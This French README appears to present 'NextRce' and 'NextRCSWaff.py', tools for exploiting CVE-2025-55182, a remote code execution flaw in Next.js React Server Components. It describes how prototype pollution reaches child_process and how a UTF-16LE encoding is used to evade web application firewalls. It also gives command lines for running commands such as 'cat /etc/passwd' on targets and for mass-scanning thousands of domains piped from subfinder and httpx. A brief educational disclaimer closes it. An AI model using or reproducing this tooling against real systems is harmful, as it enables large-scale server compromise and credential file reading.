
Outil d'exploitation React Shell et Next.js RSC (CVE-2025-55182)
Les charges utiles standard contenant des mots-clés comme child_process ou execSync sont souvent bloquées par les pare-feux d'application Web (WAF).
NextRCSWaff.py utilise un moteur d'encodage spécialisé UTF-16LE (Little Endian). En encodant la charge malveillante dans ce format spécifique, la séquence d'octets change complètement, la rendant invisible pour la plupart des WAF basés sur des signatures. Cependant, le serveur Next.js (Node.js) décode et exécute correctement la commande.
Preuve de concept : La capture d'écran ci-dessus montre une charge utile standard bloquée (en haut), suivie d'une exécution RCE réussie en utilisant NextRCSWaff.py avec le drapeau --bypass (en bas).
NextRce est un outil de sécurité multithread haute performance conçu pour détecter et exploiter CVE-2025-55182. Il cible spécifiquement l'implémentation des React Server Components (RSC) dans l'architecture App Router de Next.js.
En manipulant le processus de sérialisation dans les Actions Serveur, NextRce injecte une charge utile fabriquée pour obtenir une Exécution de Code à Distance (RCE) sur les instances vulnérables. Il dispose d'un moteur de détection intelligent qui distingue automatiquement les architectures App Router vulnérables des routeurs Pages Router hérités et sécurisés, garantissant l'efficacité lors des analyses de masse.
window.__next_f) pour identifier les cibles App Router vulnérables par rapport aux sites Pages Router hérités.stdin. S'intègre parfaitement avec des outils de reconnaissance comme subfinder, httpx et gau.ThreadPoolExecutor intégré permet de scanner des milliers de domaines simultanément avec une surcharge de ressources minimale.Next.js App Router utilise un format de sérialisation personnalisé pour les React Server Components (RSC). La vulnérabilité réside dans la logique de désérialisation des en-têtes Next-Action. Lorsqu'un objet spécialement conçu (polluant le __proto__) est envoyé à un point de terminaison d'action serveur (par exemple, /adfa), l'analyseur interne peut être contraint d'exécuter du code Node.js arbitraire via child_process.
X-Powered-By: Next.js et des structures de chemin spécifiques (/_next/).window.__next_f -> Vulnérable (App Router)__NEXT_DATA__ -> Sûr (Pages Router)execSync(cmd). La sortie standard (stdout) est encodée en base64 et renvoyée dans le champ digest de la réponse d'erreur du serveur, que NextRce décode et affiche.# Clonez le dépôt
git clone [https://github.com/ynsmroztas/NextRce.git](https://github.com/ynsmroztas/NextRce.git)
# Naviguez dans le répertoire
cd NextRce
# Installez les dépendances
pip install requests
# Activez l'encodage UTF-16LE avec le drapeau --bypass
python3 NextRCSWaff.py -u https://target.com -c "whoami" --bypass
# Analyse standard
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
# Analyse avec contournement WAF
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 NextRCSWaff.py -c "id" -B
python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
python3 nextrce.py -l targets.txt -c "whoami" -t 100
python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
Cet outil est développé uniquement à des fins éducatives et de recherche en sécurité. L'auteur (Mitsec) n'est pas responsable de toute utilisation illégale, de tout dommage ou de tout accès non autorisé causé par cet outil. Obtenez toujours une autorisation explicite du propriétaire du système avant d'effectuer des tests de sécurité.
NextRce est développé et maintenu par Mitsec.
Twitter/X : @ynsmroztas
GitHub : ynsmroztas
| Drapeau | Description | Défaut |
|---|
-u, --url | URL cible unique à scanner | Aucun |
-l, --list | Chemin du fichier contenant une liste d'URL | Aucun |
-c, --cmd | Commande à exécuter sur le serveur | id |
-t, --threads | Nombre de threads concurrents | 30 |
-p, --proxy | URL du proxy HTTP (ex. http://127.0.0.1:8080) | Aucun |
-v, --verbose | Activer la sortie détaillée (afficher les tentatives échouées) | False |
-B, --bypass | (NextRCSWaff.py uniquement) Activer l'encodage UTF-16LE pour contourner les WAF | False |